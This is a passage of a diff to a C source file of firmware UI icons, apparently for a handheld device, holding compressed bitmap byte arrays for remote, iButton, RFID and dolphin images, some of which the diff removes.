{0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x00,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_UniversalRemote_14_13[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_UniversalRemote_14_14[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_UniversalRemote_14_15[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_UniversalRemote_14_16[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_UniversalRemote_14_17[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x04,0x08,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x06,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_UniversalRemote_14_18[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x08,0x04,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE4,0x03,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_19[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x04,0x08,0x0E,0x1C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xE0,0x03,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_20[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x04,0x00,0x0C,0x0C,0x0B,0x34,0x0B,0x34,0x0C,0x0C,0xE0,0x05,0xF8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_21[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x10,0x00,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x0E,0x0C,0x08,0x04,0x88,0x04,0xF0,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_22[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x00,0x18,0x04,0x08,0x04,0x0C,0x0C,0x08,0x04,0x08,0x04,0x00,0x04,0xD8,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_23[] = {0x01,0x00,0x14,0x00,0xa0,0x40,0x7f,0x10,0x70,0x08,0x81,0xc6,0x21,0x02,0x84,0x41,0x00,0x2a,0x09,0x1e,0xc4,0x18,0x26,0xa0,}; -const uint8_t _A_UniversalRemote_14_24[] = {0x01,0x00,0x17,0x00,0x90,0x40,0xbf,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x14,0x62,0x0c,0x05,0x10,0x3a,0xe6,0x20,0xa1,0x33,0xa0,0x40,0x00,}; -const uint8_t _A_UniversalRemote_14_25[] = {0x01,0x00,0x1a,0x00,0xb0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x88,0x34,0x62,0x04,0x05,0x10,0x39,0x40,0xa2,0x10,0x6c,0xc4,0x14,0x26,0x78,0x08,0x00,}; -const uint8_t _A_UniversalRemote_14_26[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0x98,0x04,0xF8,0x07,0xF8,0x07,0x80,0x02,}; -const uint8_t _A_UniversalRemote_14_27[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_UniversalRemote_14_28[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_UniversalRemote_14_29[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t* const _A_UniversalRemote_14[] = {_A_UniversalRemote_14_0,_A_UniversalRemote_14_1,_A_UniversalRemote_14_2,_A_UniversalRemote_14_3,_A_UniversalRemote_14_4,_A_UniversalRemote_14_5,_A_UniversalRemote_14_6,_A_UniversalRemote_14_7,_A_UniversalRemote_14_8,_A_UniversalRemote_14_9,_A_UniversalRemote_14_10,_A_UniversalRemote_14_11,_A_UniversalRemote_14_12,_A_UniversalRemote_14_13,_A_UniversalRemote_14_14,_A_UniversalRemote_14_15,_A_UniversalRemote_14_16,_A_UniversalRemote_14_17,_A_UniversalRemote_14_18,_A_UniversalRemote_14_19,_A_UniversalRemote_14_20,_A_UniversalRemote_14_21,_A_UniversalRemote_14_22,_A_UniversalRemote_14_23,_A_UniversalRemote_14_24,_A_UniversalRemote_14_25,_A_UniversalRemote_14_26,_A_UniversalRemote_14_27,_A_UniversalRemote_14_28,_A_UniversalRemote_14_29}; - const uint8_t _A_iButton_14_0[] = {0x00,0x00,0x1C,0x00,0x3E,0x00,0x35,0x80,0x3A,0x78,0x15,0x84,0x0A,0x32,0x05,0x49,0x02,0x85,0x02,0x85,0x02,0x49,0x02,0x32,0x01,0x84,0x00,0x78,0x00,}; const uint8_t _A_iButton_14_1[] = {0x00,0x00,0x00,0x00,0x38,0x00,0x26,0x80,0x21,0xE0,0x10,0x38,0x0D,0x6C,0x03,0x56,0x01,0x2B,0x01,0x97,0x00,0x4D,0x00,0x21,0x00,0x1E,0x00,0x00,0x00,}; const uint8_t _A_iButton_14_2[] = {0x01,0x00,0x1a,0x00,0x00,0x24,0xc2,0x01,0x2c,0x80,0x48,0xfb,0x11,0x89,0x64,0x1b,0x2d,0x01,0xa5,0xc0,0x24,0xb0,0x08,0x94,0x02,0x13,0x00,0x83,0x85,0x88,}; @@ -607,9 +546,6 @@ const uint8_t* const _I_RFIDDolphinSend_97x61[] = {_I_RFIDDolphinSend_97x61_0}; const uint8_t _I_RFIDDolphinSuccess_108x57_0[] = {0x01,0x00,0xe7,0x01,0x00,0x0f,0x03,0xff,0x1f,0x06,0xd4,0xe2,0x01,0xe0,0x06,0xd4,0x18,0x04,0x30,0x30,0x64,0x60,0x20,0x20,0x31,0x86,0x03,0x62,0x80,0x03,0x28,0x80,0x36,0x24,0x00,0x36,0x00,0x28,0x5c,0xc3,0xe6,0x00,0x58,0x40,0xec,0xc1,0xb1,0x04,0x02,0x19,0x24,0x80,0x0b,0x02,0x02,0x40,0x37,0xc4,0x8c,0x2e,0x40,0x6f,0x93,0x8b,0x81,0x07,0x06,0xdc,0xc2,0x38,0x66,0x50,0x6a,0xe2,0x27,0xe0,0xd2,0xfc,0x08,0x09,0x0c,0x9c,0x4b,0x98,0x34,0xa0,0xe1,0xd5,0x06,0x8f,0x92,0xc2,0x05,0x1e,0x42,0xe1,0x81,0xa3,0xe2,0xf0,0xbc,0x4c,0x1a,0xff,0x2f,0x9b,0x80,0xd8,0xca,0x05,0x1f,0x97,0xfd,0xf8,0x60,0xd2,0x01,0x1e,0x00,0x1a,0x5c,0x00,0x08,0xc9,0xc1,0xab,0x40,0xf9,0x83,0x46,0x61,0x00,0xd8,0x4a,0x81,0xab,0xa0,0xf3,0x5f,0xc6,0x05,0x58,0x8a,0xa4,0x09,0x76,0x21,0xb1,0xf2,0x83,0x4f,0x5d,0x1a,0x01,0x8c,0x90,0x1a,0x31,0x0d,0x07,0xa9,0x16,0x50,0x0a,0xac,0x34,0xba,0x42,0xa1,0x88,0x50,0x23,0xaa,0x72,0xe0,0x6a,0xa1,0x4a,0x32,0x39,0x88,0x6c,0x60,0xc7,0x82,0xb0,0x55,0x60,0xa2,0x92,0x80,0xc0,0x43,0x63,0x03,0x25,0x96,0xe3,0x54,0x33,0x18,0xc4,0x90,0x22,0x21,0x81,0x81,0x03,0x4a,0xa9,0x55,0x7a,0x17,0xf3,0x82,0x9f,0x6d,0x5e,0xa9,0xb6,0x50,0x38,0x70,0x35,0x70,0x15,0x5a,0xa9,0xb8,0xa3,0x46,0x12,0x06,0x9f,0x83,0x54,0x8a,0x28,0x80,0x34,0xfc,0x08,0x93,0xaa,0xc7,0x40,0x83,0x83,0x81,0xd3,0xa1,0xd1,0x08,0x84,0x0c,0x24,0x3f,0xed,0x54,0x18,0x26,0x50,0x20,0xd9,0x42,0x21,0x90,0x4c,0x07,0xff,0xae,0x52,0x20,0x6a,0xc4,0x23,0x1f,0x88,0x3f,0xf0,0x1a,0x45,0x31,0xe7,0x03,0x4a,0x41,0xe0,0x69,0x0f,0xc2,0x1e,0x0d,0x19,0x80,0x48,0xa2,0x10,0xc5,0x68,0xdf,0x0a,0x82,0xb9,0x28,0x22,0x2c,0xe3,0x0a,0xd1,0x2b,0x0f,0x00,0x3c,0x22,0x91,0x53,0x9c,0x50,0x1a,0x30,0x08,0x39,0x1c,0x60,0x6d,0x12,0x3d,0x8c,0xc2,0x51,0x00,0x17,0x0c,0xe2,0x01,0xff,0x83,0x84,0xc6,0x40,0xb0,0x19,0x84,0xd0,0x1a,0x5c,0x08,0x1f,0xf8,0x8c,0x50,0x43,0x08,0xce,0x2d,0x06,0x71,0x5f,0x17,0xfe,0x12,0xdf,0x20,0x69,0x55,0x01,0xa6,0x00,0x18,0x40,0xa4,0x80,0x63,0x3c,0xb5,0x03,0x56,0x08,0x8b,0x20,0x10,0xcf,0x03,0x62,0x08,0x20,0x00,0x94,0xc6,0x01,0x70,0x01,0x0c,0xe8,0x36,0x20,0xd3,0xe0,0x00,0xcb,0x10,0x02,0x19,0xf3,0x9c,0x41,0xa3,0x15,0x31,0x90,0x00,0x70,0xc0,0x21,0xdd,0x86,0xc4,0x78,0x3e,0xa3,0x71,0xe0,0x30,0x20,0x31,0xbe,0x86,0xc4,0x1a,0x35,0x40,0x20,0x8d,0x89,0x28,0x5b,0xa0,0xd9,0xea,0x3d,0x44,0x42,0x87,0x83,0x48,0x36,0x49,0xe1,0xa0,0x75,0x67,0x8d,0x41,0x54,0x14,0x03,0xf5,0x2a,0x06,0x96,0x03,0x54,0xc4,0x14,0xd0,0x83,0x4a,0xfb,0x35,0x06,0x90,0x38,0x4e,0x46,0xb4,0x10,0xd9,0x81,0x49,0x72,0x40,0x01,0x0a,0x95,0xd4,0x36,0x20,0xd7,0x55,0x10,}; const uint8_t* const _I_RFIDDolphinSuccess_108x57[] = {_I_RFIDDolphinSuccess_108x57_0}; -const uint8_t _I_SDError_43x35_0[] = {0x01,0x00,0x6f,0x00,0xff,0x7f,0xc0,0x05,0x03,0x80,0x82,0x8e,0x08,0x05,0x59,0xe8,0x16,0x82,0x2d,0x30,0x8c,0x43,0x20,0xc0,0x51,0xb0,0x43,0x23,0x10,0x30,0x88,0xf0,0x20,0xdb,0x08,0x08,0x2c,0x70,0x10,0x3f,0x00,0x5c,0x80,0xa8,0x11,0x60,0xea,0x0a,0x54,0x8f,0xe5,0x99,0xfe,0x4f,0xc0,0xa6,0x70,0x10,0x89,0x60,0x23,0xff,0x91,0xa9,0x70,0x25,0xff,0x21,0xa9,0x70,0x2b,0xfe,0x42,0xc9,0x60,0x30,0x7e,0x40,0x89,0x42,0x30,0x12,0x08,0x80,0x14,0xa0,0x11,0x10,0x28,0xc0,0x66,0x10,0x08,0x74,0x30,0x8f,0xe0,0x58,0x5c,0x88,0x14,0xc0,0x43,0x01,0x8f,0x81,0x4f,0x05,0x20,0x02,0x9f,0xf3,0x80,0xcb,0x10,}; -const uint8_t* const _I_SDError_43x35[] = {_I_SDError_43x35_0}; - const uint8_t _I_SDQuestion_35x43_0[] = {0x01,0x00,0x67,0x00,0xf8,0x7f,0xc0,0x03,0x03,0xfc,0x01,0x0a,0x0f,0x38,0xa4,0xe4,0xa4,0x80,0x4f,0x0c,0x20,0x13,0xc0,0x9f,0x80,0x02,0x15,0xfe,0x00,0x04,0x29,0xfc,0x03,0xfd,0x07,0xfa,0x47,0xe7,0xdf,0xc8,0x3f,0xea,0x1f,0x7f,0xfc,0x41,0xff,0xb8,0xff,0xf8,0x10,0x7f,0xe0,0x4e,0xef,0x86,0x08,0x68,0x33,0xf1,0x10,0xff,0x3f,0xf1,0xf1,0x60,0x81,0x06,0x1e,0x36,0x10,0x20,0xe1,0xc0,0x87,0xc7,0x02,0x0f,0xd3,0xff,0xe3,0x02,0x0f,0xe8,0x08,0x7f,0xd0,0x21,0x89,0xc4,0x08,0x9f,0x70,0x21,0x9a,0x08,0x08,0xc1,0x89,0x02,0x20,0x62,0x40,0x8f,0xfe,0x68,0x98,}; const uint8_t* const _I_SDQuestion_35x43[] = {_I_SDQuestion_35x43_0}; @@ -658,9 +594,6 @@ const uint8_t* const _I_SDcardFail_11x8[] = {_I_SDcardFail_11x8_0}; const uint8_t _I_SDcardMounted_11x8_0[] = {0x01,0x00,0x09,0x00,0xff,0xc1,0xff,0xf0,0x40,0x1c,0xd9,0xe0,0x00,}; const uint8_t* const _I_SDcardMounted_11x8[] = {_I_SDcardMounted_11x8_0}; -const uint8_t _I_USBConnected_15x8_0[] = {0x00,0xF0,0x07,0x08,0x7C,0x04,0x44,0x07,0x54,0x07,0x54,0x04,0x44,0x08,0x7C,0xF0,0x07,}; -const uint8_t* const _I_USBConnected_15x8[] = {_I_USBConnected_15x8_0}; - const uint8_t _I_Lock_7x8_0[] = {0x00,0x1C,0x22,0x22,0x7F,0x7F,0x77,0x7F,0x3E,}; const uint8_t* const _I_Lock_7x8[] = {_I_Lock_7x8_0}; @@ -694,9 +627,6 @@ const uint8_t* const _I_Error_62x31[] = {_I_Error_62x31_0}; const uint8_t _I_Updating_32x40_0[] = {0x01,0x00,0x56,0x00,0xc0,0x7f,0xc0,0x03,0xc0,0x01,0x97,0x82,0x07,0x00,0xe0,0x5c,0x00,0x65,0x38,0x01,0x94,0x70,0x06,0x50,0xe0,0x19,0x41,0xc0,0x65,0xff,0x01,0xb4,0x0c,0x02,0x7e,0x08,0x38,0x0c,0x7c,0xd6,0x70,0x18,0xfb,0xfe,0xfc,0x0c,0x18,0xc8,0x78,0x20,0x33,0x81,0x8f,0x8a,0x07,0x3e,0xbe,0x70,0x38,0x71,0xff,0xc7,0x0f,0xc7,0x0f,0xf8,0x71,0xc0,0x76,0x13,0x30,0xd9,0x88,0xcc,0x5f,0x03,0xb2,0x21,0xa1,0x2c,0xc0,0x26,0x82,0x10,0x1f,0x80,0xd1,0x24,0x40,0x04,}; const uint8_t* const _I_Updating_32x40[] = {_I_Updating_32x40_0}; -const uint8_t _I_DolphinExcited_64x63_0[] = {0x01,0x00,0x36,0x01,0x00,0x25,0x00,0x0f,0xd2,0x00,0x3b,0xe0,0x00,0xeb,0x10,0x0c,0x34,0x40,0x30,0xd0,0x88,0x80,0x1d,0xa1,0x00,0x42,0xfc,0x7f,0xc0,0x63,0x04,0x01,0x0e,0x02,0x0f,0x00,0x00,0x8c,0x08,0x0e,0x37,0x00,0x10,0xc6,0x20,0x10,0x10,0xd9,0x11,0x92,0x1c,0x1a,0x3e,0x00,0x04,0x42,0x02,0x1a,0x20,0xb0,0xce,0x00,0x64,0x07,0x20,0x59,0x16,0x50,0x36,0x45,0x94,0x84,0x78,0x20,0x60,0x75,0x8e,0x43,0x06,0x63,0x3c,0x33,0x94,0x0c,0xd2,0x5c,0x30,0x38,0xe4,0x08,0x43,0x10,0xc0,0x5e,0x06,0x22,0x53,0x1a,0x02,0x08,0x7f,0xd0,0x32,0xc1,0x50,0x21,0x14,0x0e,0x70,0x1c,0x46,0xe2,0x07,0x19,0x06,0x3c,0xdc,0x20,0x91,0xae,0x01,0xcc,0xbe,0x30,0x09,0xfc,0x12,0x41,0xff,0x83,0xcc,0x0a,0xa3,0x1f,0x03,0x99,0xe8,0x7c,0x10,0xf8,0x25,0xa0,0x5e,0x50,0x0f,0x84,0x1e,0x09,0x54,0x03,0x9f,0xf2,0x07,0x02,0xd5,0x11,0xca,0x01,0xfe,0x80,0xc0,0xaa,0x9f,0xf0,0x39,0x5f,0xd0,0x43,0xaa,0x83,0x41,0x92,0xc3,0x1f,0x03,0x8d,0x52,0x02,0x2e,0x25,0xc9,0x6a,0x99,0x46,0xa6,0x2a,0xa0,0x1c,0xaf,0xca,0x62,0x94,0x28,0xcb,0x7e,0x0f,0x15,0x71,0xf8,0x3c,0x22,0x71,0x03,0x8a,0x84,0x67,0x18,0x0f,0xac,0x1c,0x0e,0x38,0x08,0x0c,0x3e,0x01,0xae,0xbd,0x13,0x0c,0x0e,0x35,0x8e,0xa8,0x1c,0xb0,0x1f,0xf8,0x06,0x83,0xf4,0x27,0x38,0x07,0xff,0xff,0x8f,0x03,0xa0,0x4c,0x80,0xed,0x60,0x03,0xb4,0x60,0x0e,0xd0,0x60,0x3a,0x87,0x84,0x0e,0xb7,0xc2,0xfa,0x18,0x05,0x44,0x20,0x73,0xff,0xf7,0xce,0xe4,0x07,0x2d,0x52,0x2c,0x80,0xe7,0x54,0xea,0x81,0xd7,0x50,0x0f,0x7a,0xaa,0x3d,0x41,0xe2,0x07,0x5a,0x80,0x3c,0xa0,0x40,0x72,0xd0,0x6a,0x80,0xa2,0x07,0x3a,0x05,0x54,0x8e,0x20,0x73,0xc0,0x03,0xd8,0x60,0x30,0x40,0x3a,0xc0,0x00,0xee,0xea,0x10,0x3b,0x80,}; -const uint8_t* const _I_DolphinExcited_64x63[] = {_I_DolphinExcited_64x63_0}; - const uint8_t _I_DolphinMafia_115x62_0[] = {0x01,0x00,0x21,0x02,0x00,0x1e,0x02,0x06,0x0e,0xcb,0x04,0x10,0x1d,0x91,0x88,0x40,0x3b,0x20,0xc0,0xec,0xc0,0x40,0x62,0x03,0xac,0x80,0x03,0xb2,0x31,0x00,0x90,0x03,0xae,0x5e,0x0e,0xcf,0xc4,0x56,0x01,0x40,0x07,0x56,0xbe,0x14,0x0e,0x2f,0xf1,0x5e,0x2a,0xa1,0xd1,0xc0,0x7c,0x3f,0xf0,0x70,0x73,0x70,0x35,0x41,0xd1,0xc0,0x7f,0xff,0xf0,0xf0,0x73,0x50,0x03,0xa4,0x0d,0x10,0x74,0x07,0x46,0x55,0xe0,0x07,0x10,0xb1,0xc3,0xa3,0x55,0xfe,0x03,0x88,0x94,0xe1,0xd1,0xd5,0x03,0x4a,0x3e,0x59,0x9e,0xaf,0xfe,0xff,0x05,0x60,0x4e,0xab,0xf5,0xff,0x95,0xb4,0xa4,0x3a,0x3f,0xd0,0xe0,0xfa,0x20,0x20,0xf8,0xd5,0xff,0xb5,0xf0,0x0f,0x88,0x3a,0x6a,0xbf,0xf8,0xaf,0x82,0x6f,0x03,0x07,0x47,0xaf,0xff,0x0a,0xfe,0x5f,0xc1,0xd3,0xf6,0xbf,0xe0,0x7f,0xfe,0xf0,0x73,0x41,0x00,0x43,0xfa,0xd7,0xf8,0x27,0xfe,0xe0,0x73,0x40,0x80,0x43,0xfe,0xab,0xfe,0x21,0xfc,0xe5,0x9b,0x05,0x48,0xea,0x3f,0xc8,0xfa,0xc4,0x66,0x07,0x44,0x0e,0x8f,0x00,0xb0,0x2b,0x31,0x07,0x0f,0x00,0x1c,0x72,0x00,0x70,0xf8,0x37,0xe5,0x81,0xff,0x89,0x08,0xf2,0x71,0x80,0x20,0xfe,0x2b,0xf0,0x5f,0xc0,0x38,0xc8,0xa5,0x60,0xc3,0x00,0xc7,0xf9,0xaf,0x81,0x2d,0x04,0x34,0x40,0xe1,0x98,0x47,0x68,0x04,0x92,0xab,0xc0,0x7e,0xb7,0xf7,0x39,0x03,0x85,0x8e,0x24,0xf1,0xc0,0x7f,0xf5,0x78,0x0f,0x53,0xb4,0xbc,0x1f,0xb8,0x1a,0x0c,0x61,0xc5,0x82,0xab,0xc0,0x3e,0xa3,0xa2,0xfc,0x07,0x46,0x09,0x60,0x19,0x8f,0x80,0xec,0x38,0x08,0x52,0x6c,0xb8,0xdc,0x28,0x7c,0x10,0x2a,0x5f,0x0f,0xfc,0x5a,0x01,0x05,0x1a,0x8e,0x02,0x02,0x1d,0x1f,0x81,0xa8,0xbe,0x13,0xf8,0x52,0x2c,0x8c,0x62,0x77,0x42,0x11,0x40,0xe0,0xca,0x93,0x8e,0x03,0x8a,0x30,0x10,0x48,0x54,0x03,0x04,0xbb,0x2c,0x00,0x0c,0x64,0x80,0xe4,0x0e,0x88,0x38,0x7c,0x10,0x04,0x09,0x48,0x83,0xac,0x1b,0x18,0xf3,0x44,0xc1,0xca,0x1d,0x15,0x40,0x8e,0x05,0x02,0x20,0xe6,0x24,0x12,0x8c,0x8b,0x05,0x21,0x07,0x24,0x14,0x08,0x73,0x80,0x19,0x78,0x43,0xb2,0xff,0x15,0x30,0xc4,0x01,0x26,0x8f,0x14,0x61,0xa9,0x8a,0x09,0x10,0x02,0x12,0x1c,0x80,0x84,0xaf,0x10,0x71,0xaa,0xc4,0x00,0x3b,0x04,0xea,0x24,0x48,0x1c,0xbd,0x8f,0xf8,0x00,0x67,0xf0,0x09,0x40,0x20,0x61,0x00,0xe4,0xf6,0x07,0x4b,0xc1,0x1f,0x07,0x14,0x40,0x1c,0x9d,0x66,0x79,0x24,0xc6,0xa0,0x0e,0x32,0x51,0xfa,0xce,0xe7,0x50,0x07,0x1c,0x80,0x30,0x58,0x0e,0xa2,0xcc,0xa0,0x19,0x00,0x71,0x42,0x13,0x27,0x40,0xf5,0x45,0x41,0xc5,0x08,0xb0,0x80,0xc6,0x18,0xf2,0x28,0x04,0x83,0xe8,0x58,0x10,0x30,0xc2,0x2c,0x40,0x91,0x89,0x3c,0x88,0x62,0x21,0xd2,0xff,0x03,0x87,0xc8,0x12,0x19,0x08,0x39,0x3e,0x83,0xb2,0x4a,0x0e,0xa2,0x0d,0xc0,0xe0,0x50,0x06,0xa7,0xe8,0x2c,0x94,0xc2,0x09,0x50,0x8c,0xce,0x20,0x34,0x70,0x71,0x41,0x3e,0x85,0xe2,0xe0,0x41,0x38,0x1e,0x28,0x3c,0x19,0xc8,0x70,0x4f,0xc1,0xdc,0xe0,0x74,0x01,0xd8,0xc6,0x24,0x00,0x82,0x81,0x7c,0x12,0xa6,0x7e,0x10,0x28,0xd8,0x22,0x00,0xe3,0xfc,0x34,0x53,0x00,0x23,0x1c,0x04,0x44,0x0e,0x50,0x10,0xeb,0x17,0xca,0x1c,0x07,0x20,}; const uint8_t* const _I_DolphinMafia_115x62[] = {_I_DolphinMafia_115x62_0}; @@ -706,9 +636,6 @@ const uint8_t* const _I_DolphinNice_96x59[] = {_I_DolphinNice_96x59_0}; const uint8_t _I_DolphinWait_61x59_0[] = {0x01,0x00,0x56,0x01,0x00,0x17,0xfa,0x1e,0x06,0x4f,0x84,0x06,0xe0,0x07,0x48,0x64,0x03,0x01,0x01,0x03,0x9c,0x0c,0x04,0x30,0x60,0x31,0x70,0x00,0x65,0x08,0x01,0x94,0xc0,0x06,0x51,0x00,0x5b,0x48,0x00,0x65,0x04,0x01,0x95,0x00,0x82,0xd8,0x00,0x19,0x40,0x7e,0x00,0x75,0x1f,0x88,0xe0,0x88,0x02,0x1a,0x1f,0x94,0x14,0x0e,0xbf,0x98,0x58,0x5c,0x42,0x45,0x00,0x9e,0x99,0x87,0x01,0x02,0x11,0x94,0xf2,0x2e,0x03,0x18,0x39,0x28,0x70,0x1f,0xc0,0x3e,0x42,0x00,0xe5,0x80,0xff,0xdf,0xc0,0xe5,0xf8,0x85,0xd8,0x10,0x27,0x40,0xf9,0xc2,0x63,0x88,0x12,0x82,0x6a,0x20,0x50,0x41,0xe9,0x42,0x20,0x95,0x48,0x6e,0x0c,0xfa,0x9a,0xaf,0xf9,0x90,0xe2,0x10,0x2e,0xac,0xe0,0x0e,0x98,0x29,0x52,0x11,0x13,0x23,0x15,0x3e,0x20,0x3c,0x61,0x40,0x52,0xfc,0x4f,0xe2,0x10,0x38,0x68,0x1c,0xa0,0xfc,0x08,0xbe,0x04,0x1e,0x5e,0x01,0xb9,0x03,0xc5,0x60,0x24,0xf2,0x84,0x60,0x63,0x40,0x71,0x27,0x9c,0x0e,0x2b,0x04,0x6c,0xa4,0x06,0x15,0x08,0x6c,0x99,0x8c,0xa6,0x0f,0x81,0x00,0x0c,0x08,0xf0,0x3c,0x05,0x61,0xc0,0x40,0x86,0xd0,0x30,0x78,0x80,0x0c,0xc6,0x2b,0x92,0x00,0x0d,0x51,0xf0,0x2d,0x42,0x0a,0x8e,0xaa,0x34,0x0f,0x4a,0x85,0x55,0x6e,0x20,0xf3,0xd5,0x6a,0x84,0xa2,0x66,0x2a,0x05,0xf7,0xaa,0x07,0x18,0xaf,0xfb,0x7f,0xea,0xc1,0xef,0xc0,0xe3,0xea,0x80,0xf8,0x27,0xf0,0x0a,0xc0,0x1c,0x67,0xa2,0xd1,0xb1,0xc0,0x34,0x00,0x71,0x14,0x8f,0x00,0x98,0x34,0x02,0x69,0xd0,0x37,0x90,0x16,0xf1,0x00,0x06,0xe1,0x84,0x31,0x89,0x14,0xe9,0xdc,0x40,0x38,0xa4,0xc4,0x4c,0x3c,0x1f,0x88,0x8c,0x5b,0xc3,0x01,0xbc,0x40,0x3f,0xf0,0xf6,0x71,0x0c,0x0b,0xe0,0x07,0x3c,0x0a,0xf8,0xa3,0xf0,0x03,0xb8,0xd8,0x80,0xe8,0x87,0x1b,0xa8,0x1c,0x78,0x1f,0xf8,0x0e,0x7e,0x01,0x6a,0x03,0x94,0x0f,0xfd,0xa0,0x80,0x7d,0x49,0x04,0x4d,0x12,0xc0,0xfa,0x83,0x83,0xbe,0x26,0x8d,0x02,0x05,0xd5,0xff,0xff,0xeb,0xe9,0x31,0x90,0x40,0x80,}; const uint8_t* const _I_DolphinWait_61x59[] = {_I_DolphinWait_61x59_0}; -const uint8_t _I_iButtonDolphinSuccess_109x60_0[] = {0x01,0x00,0xac,0x01,0x00,0x17,0xfe,0x1e,0x0c,0xaf,0x04,0x02,0xe0,0x0d,0xa8,0xf4,0x03,0x01,0x03,0x06,0x46,0x02,0x02,0x03,0x18,0xe0,0x36,0x2c,0x00,0x36,0x00,0x2c,0x40,0x3e,0x60,0xd8,0x84,0x01,0x0c,0x5a,0x40,0x05,0x82,0x01,0x0e,0x04,0x0d,0x70,0x42,0x04,0x90,0x49,0x02,0xe4,0x20,0x41,0x28,0xc0,0x07,0x40,0x06,0xf8,0x00,0xa4,0x00,0xd6,0x03,0xa8,0x37,0x44,0x2a,0x31,0x74,0xd3,0x83,0x57,0x80,0x0d,0xc7,0x18,0xa9,0xa8,0x36,0x2a,0x86,0x06,0x8d,0xfc,0x36,0x60,0xd7,0xc0,0x3b,0x8c,0x36,0xf0,0x4a,0x05,0xf9,0x6e,0x5e,0x06,0x23,0x41,0x24,0x1f,0xf6,0x01,0x74,0x01,0xb1,0xe3,0x82,0x81,0x47,0x40,0x0d,0x7c,0x87,0x8e,0x12,0x05,0x1a,0x84,0x0d,0xb6,0xa0,0xd2,0x85,0x86,0xc8,0x1a,0x50,0x40,0x69,0x40,0xb2,0x1f,0xf0,0x69,0x50,0x01,0xa5,0x08,0xfc,0x03,0x5f,0x60,0x0d,0x28,0x84,0x1a,0x07,0x18,0x06,0xaf,0x00,0x1a,0x3c,0x03,0xb8,0xc3,0x20,0xd0,0x28,0x87,0xfc,0x8a,0x50,0x08,0x78,0x08,0x70,0x77,0x0c,0x44,0x06,0x05,0x30,0xff,0x18,0x4a,0x01,0x30,0x01,0x0d,0x33,0x19,0x11,0x1b,0x8c,0xa2,0xf8,0x7d,0x27,0x71,0xd0,0x20,0x51,0x20,0x68,0xd5,0x00,0x42,0x0d,0x2c,0x00,0x08,0x64,0x10,0x19,0x20,0x28,0x75,0x07,0x53,0x3d,0x18,0x35,0x2a,0x9f,0xf4,0x9a,0x41,0x90,0x23,0x00,0x94,0x43,0xe0,0x5e,0xae,0x03,0x9d,0xb4,0xe0,0xd1,0x0d,0x8c,0xd0,0x52,0xb1,0x00,0xd9,0x83,0x46,0x34,0x45,0x41,0xa8,0x9f,0x86,0x01,0x14,0x05,0x08,0x08,0x81,0xa6,0x62,0x10,0x68,0xe5,0x20,0x70,0x41,0x80,0x80,0x10,0xc4,0x34,0x48,0x04,0x2a,0x38,0x0d,0x99,0x16,0x02,0x1a,0xd5,0x10,0x6c,0x5e,0x2e,0x0b,0xa1,0x4b,0x0a,0x60,0xc1,0xa7,0x84,0xfc,0x58,0x01,0xb5,0x02,0x82,0xb4,0xc4,0x16,0x22,0xa5,0x06,0x96,0x19,0x